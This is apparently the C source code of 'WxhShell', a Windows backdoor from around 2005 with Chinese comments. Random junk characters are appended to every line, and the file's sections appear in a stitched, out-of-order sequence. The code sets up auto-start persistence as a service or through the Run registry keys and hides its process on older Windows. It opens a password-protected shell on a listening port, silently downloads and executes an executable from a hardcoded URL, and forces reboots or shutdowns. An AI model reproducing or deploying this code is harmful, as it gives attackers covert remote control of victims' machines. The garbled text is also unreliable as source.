    if(Boot(SHUTDOWN)) `ya;:$(6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@tvRDeaDW  
    else { ]WJfgN4  
    closesocket(wsh); IfDx@?OB  
    ExitThread(0); 4c~>ci,N?(  
    } PiLJZBUv  
    break; 5 / m$)wE  
    } <-UOISyf  
  // 获取shell $R8w+ Id  
  case 's': { ^TXfsQs  
    CmdShell(wsh); Swtbl`,  
    closesocket(wsh); :9l51oE7  
    ExitThread(0); 1u]P4Gf=  
    break; p4VqV6LwD  
  } LF*Q!  
  // 退出 Oajv^H,Em  
  case 'x': { %Hi~aRz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bb Jkdt7  
    CloseIt(wsh); v| z08\a[  
    break; %K 4  
    } DE{h5-g  
  // 离开 h5|.Et  
  case 'q': { TrE3S'EU#R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YpdNX.P,  
    closesocket(wsh); FM^9}*  
    WSACleanup(); <c,~aq#W'  
    exit(1); tUE'K.-  
    break; $2z _{@Z  
        } X`zC ^z}  
  } eukA[nO7G  
  } !- ~ X?s~L  
\tJFAc  
  // 提示信息 PfW|77  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6k])KlJ2;  
} m.%`4L^`T  
  } Aq#/2t  
lx,`hl%  
  return; F=@i6ERi  
} `?s.\Dh  
}GHxG9!z  
// shell模块句柄 ;5|1M8]=0  
int CmdShell(SOCKET sock) Sm3u/w!  
{ #j@OLvXh  
STARTUPINFO si; Yq'4e[i  
ZeroMemory(&si,sizeof(si)); ~krS#\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Fl<v@9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cep$_J a  
PROCESS_INFORMATION ProcessInfo; ~waNPjPRG  
char cmdline[]="cmd"; M<8ML!N0;t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )JgC$ <  
  return 0; |qjZ38;6  
} es.CLkuD7Y  
Mpx/S<Z  
// 自身启动模式 z YDK $  
int StartFromService(void) eS!C3xC;J]  
{ ?;7b*Z  
typedef struct (L69{n  
{ &d$~6'x*  
  DWORD ExitStatus;  u>cC O'q  
  DWORD PebBaseAddress; XYbyOM VI  
  DWORD AffinityMask; ?{J!#`tfV  
  DWORD BasePriority; :.IN?X  
  ULONG UniqueProcessId; }VRv sZ  
  ULONG InheritedFromUniqueProcessId; {E,SHh   
}   PROCESS_BASIC_INFORMATION; Iz\1~  
Z>A{i?#m  
PROCNTQSIP NtQueryInformationProcess; -$4kBYC l+  
3 (lVmfk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W"(u^}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y8s=\`~PR  
c{88m/;eP  
  HANDLE             hProcess; d!{7r7ob\  
  PROCESS_BASIC_INFORMATION pbi; ;[5r7 jHU  
NCt~9xS.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Up?=m^  
  if(NULL == hInst ) return 0; CB}BQd  
o)]FtL:mm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y$oW!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D\rmaF+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2cnj@E:5l  
VWvoQf^+  
  if (!NtQueryInformationProcess) return 0; &IQ%\W#aY  
fGu!M9qN4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f$D@*33ft  
  if(!hProcess) return 0; != zx  
*6*-WV6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 79ZxqvB\  
c4]u&tvjJ  
  CloseHandle(hProcess); obGWxI%a  
wGXwzU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wJIB$3OT  
if(hProcess==NULL) return 0; Ph)| j&]  
6v47 QW|'  
HMODULE hMod; O-GxUHwW r  
char procName[255]; __)qw#  
unsigned long cbNeeded; nm):SEkC  
! zfFt;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5#uO'<2$  
mTjm92  
  CloseHandle(hProcess); b(T@~P/  
#<#%>Y^  
if(strstr(procName,"services")) return 1; // 以服务启动 ZgF/;8!~V-  
76MsrOv55  
  return 0; // 注册表启动 1_3?R }$Wl  
} LZV}U*  
/yK"t< p  
// 主模块 @36S}5Oa  
int StartWxhshell(LPSTR lpCmdLine) zh?4K*>.k  
{ FzhT$7Gw  
  SOCKET wsl; iG-N  
BOOL val=TRUE; C_-E4I Z)  
  int port=0; gM, &Spn  
  struct sockaddr_in door; QMb^&?;s  
5b fb!7-[i  
  if(wscfg.ws_autoins) Install(); 5c;En6W  
Ar`\ N1a  
port=atoi(lpCmdLine); Ruj.J,  
uC[d%v`  
if(port<=0) port=wscfg.ws_port; WZ"W]Jyy{  
on5 0+)uN  
  WSADATA data; 9.-47|-9C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RZ6~c{  
uGCtLA+sL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]L(54q;W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,wT g$ g-$  
  door.sin_family = AF_INET; B/_6Ieb+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sh$U-ch@  
  door.sin_port = htons(port); #~e9h9  
,i![QXZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?#ihJt,  
closesocket(wsl); Z:^3Fm->+  
return 1; Oxj(g;}  
} *H*\gaSh  
F(0Z ]#+  
  if(listen(wsl,2) == INVALID_SOCKET) { u_Zm1*'?B  
closesocket(wsl); 85C#ja1&  
return 1; 5G oK"F0i  
} -mC:r&Y>[  
  Wxhshell(wsl); d#7]hF  
  WSACleanup(); w`Xg%*]}  
^BNp`x;;`  
return 0; #NM JZ  
m+7`\|`jQ  
} q\_DJ)qpn  
<i7agEdZD  
// 以NT服务方式启动 `U#Po_hq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TK %< a/  
{ %^U"Spv;  
DWORD   status = 0; "uS7PplyO  
  DWORD   specificError = 0xfffffff; EqQ3=XMUL@  
xXPUrv5zO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "cQvd(kug  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v,*Q]r0m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D+hB[*7Fs  
  serviceStatus.dwWin32ExitCode     = 0; 19w_tSg  
  serviceStatus.dwServiceSpecificExitCode = 0; c.-cpFk^L&  
  serviceStatus.dwCheckPoint       = 0; .t :DvB  
  serviceStatus.dwWaitHint       = 0; bN!u}DnN  
p_gA/. v=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PS/W h  
  if (hServiceStatusHandle==0) return; -;<>tq'3`  
d}VALjXHX!  
status = GetLastError(); t .L4%1OF  
  if (status!=NO_ERROR) DA=qeVBg  
{ &58 {  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V0S6M^\DK  
    serviceStatus.dwCheckPoint       = 0; Z !Z,M' "  
    serviceStatus.dwWaitHint       = 0; F`3^wHw^  
    serviceStatus.dwWin32ExitCode     = status; +i4P,Lp  
    serviceStatus.dwServiceSpecificExitCode = specificError; $>(9~Yh0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G V=OKf#  
    return; Md?acWE*L  
  } c+wuC,  
WN1Jm:5YV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >F~ITk5`Oo  
  serviceStatus.dwCheckPoint       = 0;  kMqD iJ  
  serviceStatus.dwWaitHint       = 0; H8sK}1.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,b4~!V  
} MyqiBGTb  
[xWEf#', !  
// 处理NT服务事件,比如:启动、停止 i#tbdx#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J$#D:KaU:N  
{ qKA_ A%  
switch(fdwControl) e6o/q)9#  
{ hi0XVC95  
case SERVICE_CONTROL_STOP: B#Qpd7E+*  
  serviceStatus.dwWin32ExitCode = 0; r:.6"VQu}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U(P:Je  
  serviceStatus.dwCheckPoint   = 0; Z$1.^H.Db  
  serviceStatus.dwWaitHint     = 0;  I}rGx  
  { h&q=I.3O|?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7^&lbzVbm(  
  } R~!\ -6%_  
  return; / Z1Wy-Z  
case SERVICE_CONTROL_PAUSE: '%);%y@v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dA|Lufy#  
  break; !2#\| NJk  
case SERVICE_CONTROL_CONTINUE: ~ t"n%SgY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )G^p1o;\  
  break; '1Y<RD>x  
case SERVICE_CONTROL_INTERROGATE: T<XfZZ)l<`  
  break; 8F\~Wz7K  
}; m'3OGvd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [#7D~Lx/  
} F68},N>vr@  
i]LU4y %'  
// 标准应用程序主函数 XNKtL]U}$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g(KK9Unu  
{ %l%=Dkss  
6W]OpM  
// 获取操作系统版本 QN3 qF|))  
OsIsNt=GetOsVer(); \)p4okpR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^4RO  
~d&'Lp[3  
  // 从命令行安装 u"*J[M~  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^M [#^wv,  
=A$Lgk>|  
  // 下载执行文件 ?rAi=w&c  
if(wscfg.ws_downexe) { !~?W \b\:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v^<<[I2 C  
  WinExec(wscfg.ws_filenam,SW_HIDE); >).@Nb;e  
} $^] 9  
VtD@&N  
if(!OsIsNt) { D7EXqo  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~Ry $>n*/  
HideProc(); o*?[_{x W  
StartWxhshell(lpCmdLine); }Q,(u   
} rf)PAdj|~  
else BN_!Y)F l  
  if(StartFromService()) 5z9JhU  
  // 以服务方式启动 5<!o{)I  
  StartServiceCtrlDispatcher(DispatchTable); t) ;   
else |GJBwrL^0  
  // 普通方式启动 7z Ohyl?  
  StartWxhshell(lpCmdLine); +[>y O _}  
UIO6|*ka  
return 0; Z@<q/2).|  
} }m9S(Wal  
f:n]Exsy  
qK<aZ%V  
FrgW7`s[A  
=========================================== YN_X0+b3C  
x&QNP  
/;zZnF\ e  
37%`P \O;s  
=%Q\*xaR.W  
zNNzsT8na  
" eL>K2Jxq  
Z'voCWCd  
#include <stdio.h> 5Xp$ yX =  
#include <string.h> 9`OG  
#include <windows.h> ,G916J*XA  
#include <winsock2.h> jK& Nkp  
#include <winsvc.h> iSnIBs9\  
#include <urlmon.h> Kh>?!` lL  
0*37D 5jH  
#pragma comment (lib, "Ws2_32.lib") 3FGbQ_  
#pragma comment (lib, "urlmon.lib") #k"1wSx16  
516VQ<?B  
#define MAX_USER   100 // 最大客户端连接数 \a{Aa  
#define BUF_SOCK   200 // sock buffer ?y+\v'3v  
#define KEY_BUFF   255 // 输入 buffer 9m<wcZ  
P}ehNt*($  
#define REBOOT     0   // 重启 R1]v}f_I"  
#define SHUTDOWN   1   // 关机 3N(8| wh  
0SAG6k~x  
#define DEF_PORT   5000 // 监听端口 z4 4  
oA(. vr  
#define REG_LEN     16   // 注册表键长度 ]s1TJw [B  
#define SVC_LEN     80   // NT服务名长度 4U}.Skzq  
~Da >{zHt  
// 从dll定义API '?&B5C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'e+-,CGdY\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {LR#(q$1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6|Ba  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >qSO,$  
z'5;f;  
// wxhshell配置信息 ^4n2 -DvG  
struct WSCFG { .F{}~K]  
  int ws_port;         // 监听端口 {Hktu|  
  char ws_passstr[REG_LEN]; // 口令 a7QlU=\  
  int ws_autoins;       // 安装标记, 1=yes 0=no eyI-s9#t  
  char ws_regname[REG_LEN]; // 注册表键名 &xPOp$Sx~  
  char ws_svcname[REG_LEN]; // 服务名 `XQx$I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O[i2A (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y?"v2~;3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fY| @{]rx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v*vub#wP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D'HL /[@`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  ` 4s#5g  
>=Rd3dgDG  
}; bAA'=z<  
d +*T@k]>M  
// default Wxhshell configuration 17MN8SfQ  
struct WSCFG wscfg={DEF_PORT, )W_ Y3M,  
    "xuhuanlingzhe", ,*9#c*'S  
    1, =RCfibT!C  
    "Wxhshell", ; /6:lL  
    "Wxhshell", jgZX ~D  
            "WxhShell Service", I1eb31<  
    "Wrsky Windows CmdShell Service", OF<[Nh\.  
    "Please Input Your Password: ", -y7l?N5F>  
  1, ex;Y n{4  
  "http://www.wrsky.com/wxhshell.exe", s+OvS9et_  
  "Wxhshell.exe" NKIkd  
    }; 'ugR!o1  
BP7<^`i&  
// 消息定义模块 yKX:Z4I/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vZ1D3ytfG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s5_1}KKCs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !VJT"Ds_  
char *msg_ws_ext="\n\rExit."; g/n"N>L  
char *msg_ws_end="\n\rQuit."; )[^:]}%r  
char *msg_ws_boot="\n\rReboot..."; ThT.iD[  
char *msg_ws_poff="\n\rShutdown..."; m%BMd  
char *msg_ws_down="\n\rSave to "; jS5t?0  
f"} 0j|Gg  
char *msg_ws_err="\n\rErr!"; ;I0yQlx|U  
char *msg_ws_ok="\n\rOK!"; a8lo!e9q  
'xu7AKpU)  
char ExeFile[MAX_PATH]; ul5::  
int nUser = 0; A_X^k|)T  
HANDLE handles[MAX_USER]; IArpCF/"8  
int OsIsNt; O(c4iWm  
{<Xo,U7 y  
SERVICE_STATUS       serviceStatus; {kY`X[fvZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z~A(IQO  
1*eWvYo1  
// 函数声明 A-@-?AR  
int Install(void); 6832N3=  
int Uninstall(void); u:{. Hn`  
int DownloadFile(char *sURL, SOCKET wsh);   t`&s  
int Boot(int flag); .n ^O)|Z  
void HideProc(void); `gA5P %  
int GetOsVer(void); R,(+NT$  
int Wxhshell(SOCKET wsl); ;r2b@x:<_  
void TalkWithClient(void *cs); CM@"lV_  
int CmdShell(SOCKET sock); 6P/9Vh j'  
int StartFromService(void); k^vmRe<lk  
int StartWxhshell(LPSTR lpCmdLine); OM.(g%2  
,rvZW}=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MZhJ,km)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *Kp ^al  
<T=o]M$  
// 数据结构和表定义 sV Z}nq{  
SERVICE_TABLE_ENTRY DispatchTable[] =  # 8-P  
{ \C'I l w  
{wscfg.ws_svcname, NTServiceMain}, 16d{IGMz  
{NULL, NULL} JqH.QnKcv  
}; u0$5Fd&X  
Hf E;$  
// 自我安装 ;*85'WcS  
int Install(void) S+E3;' H  
{ hGaYQgGq  
  char svExeFile[MAX_PATH]; (vYf?+Kb  
  HKEY key; lfI7&d*  
  strcpy(svExeFile,ExeFile); ]T28q/B;k  
b^|,9en  
// 如果是win9x系统,修改注册表设为自启动 ?),K=E+=U  
if(!OsIsNt) { 5D q{"@E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r0XGGLFuZl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >=RHE@  
  RegCloseKey(key); ~A{[=v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K`AW?p^$Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^,\se9=(  
  RegCloseKey(key); H"Em|LX^  
  return 0; :fMM-?s]  
    } W0C$*oe!_i  
  } tI(t%~>^  
} r%?}5"*  
else { jl ?y}  
n*]x02:LjZ  
// 如果是NT以上系统,安装为系统服务 A5 J#x6@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /(}l[jf  
if (schSCManager!=0) kQ:>j.^e  
{ E<.{ v\  
  SC_HANDLE schService = CreateService JjL0/&  
  ( 61 HqBa  
  schSCManager, =F; ^^VX  
  wscfg.ws_svcname, 7[VCCI g  
  wscfg.ws_svcdisp, (l,YI"TzT  
  SERVICE_ALL_ACCESS, ^gVbVz[17  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zp P6Q  
  SERVICE_AUTO_START, lVK F^-i  
  SERVICE_ERROR_NORMAL, {gq:sj>  
  svExeFile, Z{>Y':\?<  
  NULL, z8MpE  
  NULL, _KlPbyLU  
  NULL, ~o\]K  
  NULL, WW Kr & )  
  NULL "Mu $3 w  
  ); .cn w?EI  
  if (schService!=0) E"vi+'(v  
  { CX@HG)l  
  CloseServiceHandle(schService); m_Y}>  
  CloseServiceHandle(schSCManager); |@uhq>&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hwi7oXP  
  strcat(svExeFile,wscfg.ws_svcname); :Y&W)V-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'Y/V9;`)s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O"w_sw  
  RegCloseKey(key); MDXQj5s^  
  return 0; ` G/QJH{I  
    } NhaeAD $e  
  } % w/1Uo24  
  CloseServiceHandle(schSCManager); r:b.>5CS)  
} {Eb2<;1o{  
} $2Tty 7  
E?W!.hbA  
return 1; bu!<0AP"N+  
} [ZpG+VAJ8  
a~+WL  
// 自我卸载 z K]%qv]  
int Uninstall(void) +vY`?k`  
{ 'Rf#1ls#  
  HKEY key; N=}Z#  
SOY#, Zu  
if(!OsIsNt) { oZ>]8vw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kh_>Vm/  
  RegDeleteValue(key,wscfg.ws_regname); vt7C  
  RegCloseKey(key); :=fHPT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x[<#mt  
  RegDeleteValue(key,wscfg.ws_regname); ^.aEKr  
  RegCloseKey(key); oHGf |  
  return 0; *v-xC5L1\  
  } E;*TRr><  
} $+yQ48Wq  
} 3xR#,22:}  
else { H<3b+Sg  
k{$"-3ed  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z)>a6s$ih<  
if (schSCManager!=0) st^N QL  
{ UVi/Be#|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9(\N+  
  if (schService!=0) I;PO$T  
  { d3hTz@JY  
  if(DeleteService(schService)!=0) { BwA~*5TFu  
  CloseServiceHandle(schService); <i @jD  
  CloseServiceHandle(schSCManager); \%Ih 6  
  return 0; [IX!3I[J]  
  } {ca^yHgGy  
  CloseServiceHandle(schService); o".O#^3H%  
  } ~]s"PV:|  
  CloseServiceHandle(schSCManager); s~'C'B?  
}  l3 Bc g  
} iK23`@&% _  
Lr]Hvd   
return 1; Jywz27j  
} \^Q)`Lqp:g  
&^<T/PiR  
// 从指定url下载文件 !c' ;L'  
int DownloadFile(char *sURL, SOCKET wsh) Hm[!R:HW,S  
{ 3^Q U4  
  HRESULT hr; 1T^L) %&p_  
char seps[]= "/"; " ~hjB  
char *token; H s 3*OhK\  
char *file; "!eT  
char myURL[MAX_PATH]; v[=E f  
char myFILE[MAX_PATH]; ]qT r4`.  
Q ?<9  
strcpy(myURL,sURL); !q1^X% a  
  token=strtok(myURL,seps); fu;B?mIn  
  while(token!=NULL) -s84/E4Y*  
  { / 1@m#ZxA:  
    file=token; mh SsOmJ5  
  token=strtok(NULL,seps); DFH6.0UW  
  } (9lx5  
WM7/|.HQ  
GetCurrentDirectory(MAX_PATH,myFILE); 9E*K44L/V  
strcat(myFILE, "\\"); <W{0@?y  
strcat(myFILE, file); "+Yn;9  
  send(wsh,myFILE,strlen(myFILE),0); YR`rg;n#  
send(wsh,"...",3,0); VZ!$'??  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u$^` hzfI  
  if(hr==S_OK) jiD8|%}v  
return 0; ,3[<C)'[  
else 2fA9L _:0  
return 1; fN>|X\-  
C\h<02  
} c3BL2>c  
NGzqiu"J  
// 系统电源模块 {iteC  
int Boot(int flag) 1Ac1CsK*  
{ x/^zNO\1  
  HANDLE hToken; vG}oo  
  TOKEN_PRIVILEGES tkp; 6XU5T5+P^  
u{ d`  
  if(OsIsNt) { X Y?@^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )o,0aGo>Of  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @=1``z#  
    tkp.PrivilegeCount = 1; }Elce}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1#u w^{n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eF\C?4  
if(flag==REBOOT) { J4X35H=Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jzw?V9Ijb  
  return 0; U /Fomu  
} VG7#6)sQoK  
else { r $2   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AXI:h"so  
  return 0; J8'zvH&I  
} m @ ?e <$  
  } f ebh1rUX  
  else { fe/6JV  
if(flag==REBOOT) { e8v=n@0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SW, Po>Y  
  return 0; a^,RbV/  
} }A ^,y  
else { hglt D8,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1i2w<VG1  
  return 0; h!]A(T\J  
} K@hUif|([  
} 'kK%sE   
oPBjsQ  
return 1; x=)$sD-3  
} '& :"/4@)  
gV;GC{pY  
// win9x进程隐藏模块 '+wTrW m~j  
void HideProc(void) bc-)y3gHU  
{ }5U f`pM8  
6Fb~`J~s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dG+xr!  
  if ( hKernel != NULL ) ;{20Heuz  
  { tTt~W5lo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TQH#sx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +Eg# 8/q  
    FreeLibrary(hKernel); }lVUa{ubf  
  } E(#2/E6  
h='=uj8o5  
return; uU s>/+  
} .EwK>ro4  
H'>  
// 获取操作系统版本 W aU_Z/{0  
int GetOsVer(void) i/z7a%$   
{ ],|B4\b;  
  OSVERSIONINFO winfo; ^e ii 4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  j C?  
  GetVersionEx(&winfo); (0S7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rJ>8|K[kt  
  return 1; NBX/V^  
  else *Yw6UCO  
  return 0; R#M).2::  
} :Ib\v88WIv  
d\M !o*U  
// 客户端句柄模块 `314.a6S  
int Wxhshell(SOCKET wsl) ,~#hHhR_  
{ J)o%83//  
  SOCKET wsh; ,?+yu6eLb  
  struct sockaddr_in client; >rubMGb  
  DWORD myID; +l(}5(wc  
3OlY Ml  
  while(nUser<MAX_USER) I5]zOKlVR  
{ w0iE x1i  
  int nSize=sizeof(client); rB]/N,R   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T~>:8i  
  if(wsh==INVALID_SOCKET) return 1; {'%=tJ[YX  
TF>F7v(,45  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); da@ .J9  
if(handles[nUser]==0) ^(R gSMuT`  
  closesocket(wsh); |Oe6OCPf  
else Wt =[R 4=  
  nUser++; 2_Z6 0]  
  } 9 pn1d.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); It[~0?+  
&PX'=UT  
  return 0; 0'uj*Y{L  
} hkG<I';M?M  
0ZN/-2c A#  
// 关闭 socket uHYI :(O  
void CloseIt(SOCKET wsh) 2X`M&)"X  
{ \z 'noc  
closesocket(wsh); "2J;~  
nUser--; szHUHW~;J  
ExitThread(0); 4~4Hst#^  
} F<[8!^l(z  
n^K]R}S  
// 客户端请求句柄 bu- RU(%  
void TalkWithClient(void *cs) .@'Vz;&mQ  
{ m\yO/9{h1  
rGs> {-T3  
  SOCKET wsh=(SOCKET)cs; `F#KXk  
  char pwd[SVC_LEN]; H@zpw1fH+  
  char cmd[KEY_BUFF]; .kVga+la?  
char chr[1]; ) =[Tgh  
int i,j; 0U'r ia:$  
W2RS G~|  
  while (nUser < MAX_USER) { kVY@q&p  
C;` fOCz^  
if(wscfg.ws_passstr) { Hg4Ut/0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @)B_e*6>'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "<n{/x(  
  //ZeroMemory(pwd,KEY_BUFF); W3b\LnUa  
      i=0; ~X/T6(n$  
  while(i<SVC_LEN) { [>E0(S]  
`*]r.u0  
  // 设置超时 })B)-8  
  fd_set FdRead; ^:BRbp37i  
  struct timeval TimeOut; \MU4"sXw  
  FD_ZERO(&FdRead); ~$`b{  
  FD_SET(wsh,&FdRead); &N EzKf  
  TimeOut.tv_sec=8; JsV#:  
  TimeOut.tv_usec=0; S<TfvQ\,"@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DQSv'!KFO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T(6S~; ,Z  
="`y<J P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !E%!,  
  pwd=chr[0]; ,3wo  
  if(chr[0]==0xd || chr[0]==0xa) { Vr'Z5F*@  
  pwd=0; ,Gfnf%H\8>  
  break; 2rxdRg'YLQ  
  } z,)Fvs4U.  
  i++; m#Cp.|>kP4  
    } \ys3&<;b  
2.6,c$2tB  
  // 如果是非法用户,关闭 socket cMj<k8.{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x\*5A,w{c]  
} #xmUND`@  
*jYwcW"R{z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -&c@c@dC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q9OIw1xQr*  
k@w&$M{tPF  
while(1) { E^g6,Y:i9  
=Zj9F1E[i  
  ZeroMemory(cmd,KEY_BUFF); wdg[pt />  
Th8xh=F[  
      // 自动支持客户端 telnet标准   ;RU)Q)a)  
  j=0; _Qv4;a  
  while(j<KEY_BUFF) { )YZ41K5N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1xw},y6T2  
  cmd[j]=chr[0]; Z1Ms ~tch  
  if(chr[0]==0xa || chr[0]==0xd) { :!%oQQO  
  cmd[j]=0; '&"7(8E} *  
  break; V #=N?p  
  } \ .:CL?m#  
  j++; 4ngiad6bR  
    } Ct B> s7  
>@t]M`#&h  
  // 下载文件 3yTBkFI!  
  if(strstr(cmd,"http://")) { RKe19l_V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E(TY%wO  
  if(DownloadFile(cmd,wsh)) U}UIbJD*=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f%@8%px  
  else (k[<>$hL*  
